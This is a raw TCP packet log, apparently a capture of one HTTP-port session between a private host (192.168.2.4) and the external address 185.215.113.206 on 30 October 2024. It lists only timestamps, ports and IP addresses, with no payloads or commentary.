Oct 30, 2024 06:16:08.135188103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.135196924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.135201931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.135225058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.135240078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.135747910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.135763884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.135777950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.135791063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.135822058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.174719095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.174738884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.174746990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.174969912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.252203941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252218008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252227068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252259016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252269983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252279997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252535105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.252844095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252855062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252866983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252907991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.252918005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252929926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.252931118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.252958059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.252984047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.253705025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.253758907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.253772974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.253818989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.292222977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.292236090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.292243958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.292251110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.292418003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.369716883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.369739056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.369750977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.369806051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.369837999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.369961023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.369971991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.369982958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.370003939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.370028973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.370032072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.370043039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.370071888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.370085955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.370871067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.370882988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.370893002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.370902061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.370918036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.370953083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.409673929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.409688950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.409701109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.409730911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.409761906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.409874916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.409885883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.409918070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.409931898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.487241030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.487256050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.487267017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.487433910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.487433910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.487433910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.487445116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.487482071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.487603903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.487616062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.487627029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.487651110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.487670898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.488043070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.488055944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.488066912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.488078117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.488090038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.488130093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.488734007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.488744974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.488754988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.488782883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.488801956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.527199030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.527211905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.527270079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.527282000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.527291059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.527295113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.527335882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.606086969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606103897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606115103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606121063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606219053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606229067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606239080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606250048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606261015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606271982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606282949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606293917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606340885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.606340885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.606340885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.606340885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.606573105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606601000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.606618881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.606745005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606755972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.606825113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.644804955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.644829988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.644840956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.644851923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.644862890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.644980907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.644980907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.722383976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722400904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722413063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722465992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.722512960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722523928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722534895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722645044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.722645044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.722645044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.722645044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.722898006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722917080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722928047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.722944021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.722970963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.723273039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.723284006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.723294973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.723305941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.723323107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.723361969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.723814964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.723860025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.723867893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.723902941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.762233019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.762247086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.762259007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.762291908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.762327909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.762355089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.762373924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.762387037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.762398005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.762430906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.839843035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.839854002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.839859009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.839869022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840034962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840034962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840070009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840082884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840092897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840105057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840121031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840154886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840596914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840642929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840666056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840708971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840799093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840810061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840821028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840847015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840859890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840872049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840883970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.840915918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.840940952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.879698992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.879709005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.879715919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.879748106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.879760027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.879771948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.879879951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.879879951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.879879951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.880270958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.880280972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.880320072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.957432985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.957456112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.957479000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.957494974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.957566023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.957576990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.957598925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.957611084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.957617998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.957619905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.957629919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.957642078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.957652092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.957673073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.957986116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.957998991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.958008051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.958020926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.958059072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.958355904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.958367109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.958378077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.958400965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.958415985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.958436966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.958489895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.958920002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.958966017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.959275007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.959327936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.997199059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997212887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997246027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997256994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997262955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.997272015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997277021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.997297049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.997307062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997330904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.997375011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.997781038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997792006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997827053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.997839928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.997968912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.997981071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.998033047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.075470924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075562000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.075592995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075606108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075623035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075635910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075649977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075721025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075738907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.075738907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.075738907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.075756073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075763941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.075767994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.075793982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.075836897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.076030016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.076040983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.076051950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.076078892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.076092005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.076116085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.076141119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.114729881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.114773989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.114784956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.114797115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.114814997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.114825010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.114831924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.114845037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.114984035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.114984035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.115345001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.115364075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.115375042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.115390062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.115422010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.115658045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.115704060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.115732908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.115775108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.192687988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.192732096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.192744017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.192775011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.192913055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.192913055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.192956924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.192966938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.192977905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.193000078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.193020105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.193320036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.193331957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.193341970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.193358898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.193372965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.193378925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.193416119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.193437099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.232259989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232273102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232283115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232321024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232331991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232475042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.232475042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.232520103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232531071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232541084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232575893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.232601881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.232889891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232901096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.232913017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.233052015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.310278893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.310291052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.310300112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.310395956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.310419083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.310430050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.310445070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.310445070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.310445070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.310465097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.310483932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.310746908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.310759068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.310767889 CET	80	49730	185.215.113.206	192.168.2.4
